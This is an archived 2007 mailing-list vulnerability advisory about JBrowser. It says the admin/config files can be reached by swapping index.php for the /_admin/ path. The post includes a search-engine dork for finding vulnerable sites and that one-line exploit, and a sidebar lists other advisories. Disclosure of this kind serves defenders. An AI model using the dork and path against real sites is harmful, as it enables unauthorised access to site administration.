Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

FlashGameScript v1.5.4  Remote File Inclusion Vulnerability

Hasadya Raed

WebSpell > 4.0 Authentication Bypass and arbitrary code execution

Online Web Building v2.0 (id) Remote SQL Injection

From:	sn0oPy.team_(at)_gmail.com <sn0oPy.team_(at)_gmail.com>
Date:	23.02.2007
Subject:	JBrowser acces to admin/config files

* JBrowser acces to admin/config files

* By : sn0oPy

* Risk : high


* Dork : inurl:"JBrowser/index.php"

* exploit :

        juste replace the http://www.target.ma/jbrowser/index.php
                       by http://www.target.ma/jbrowser/_admin/
                   

* contact : sn0oPy@avenir-geopolitique.net

* greetz : [subzero], Avg Team(forums.avenir-geopolitique.net).

* Reference : http://forums.avenir-geopolitique.net/viewtopic.php?t=2693